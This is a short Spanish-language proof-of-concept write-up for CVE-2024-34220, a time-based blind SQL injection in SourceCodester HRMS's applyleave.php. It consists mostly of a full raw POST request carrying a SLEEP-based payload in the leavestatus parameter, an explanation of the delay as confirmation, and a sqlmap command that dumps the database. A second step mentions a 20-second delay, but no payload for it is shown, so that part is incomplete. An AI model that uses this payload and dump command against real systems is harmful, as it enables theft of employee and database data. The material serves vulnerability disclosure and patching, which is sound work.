
Exploit de prueba de concepto para CVE-2024-34220, una vulnerabilidad de inyección SQL ciega basada en tiempo en SourceCodester HRMS applyleave.php, con automatización de sqlmap para extracción de bases de datos.
applyleave.php
Inyección SQL
Los atacantes pueden explotar esta vulnerabilidad para obtener privilegios de base de datos, lo que puede resultar en una gran cantidad de datos en la base de datos. Si la base de datos de la otra parte tiene privilegios de DBA, puede llevar a la obtención de privilegios de host del servidor.
POST /hrm/user/applyleave.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 149
Origin: http://localhost
Connection: close
Referer: http://localhost/hrm/user/applyleave.php
Cookie: PHPSESSID=2v2v2al4dkd4iir9cl5j7oikvr
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: cyan
leavestatus=5'+AND+(SELECT+1337+FROM+(SELECT(SLEEP(5)))VSgR)+AND+'Kha'%3d'123&reason=+++&startdate=03%2F04%2F2024&enddate=29%2F04%2F2024&Apply=Submit
Después de ejecutar este Payload, el tiempo de retorno de los datos se retrasa 5 segundos, lo que indica que podemos haber ejecutado con éxito "sleep(5)". En este caso, el retraso puede ser varias veces. Lo verificaremos a continuación:

Después de ejecutar este Payload, el tiempo de retorno de los datos se retrasa 20 segundos, lo que indica que podemos haber ejecutado con éxito "sleep(20)". En este caso, el retraso puede ser varias veces. Lo verificaremos a continuación:

sqlmap -r <item request> --dump
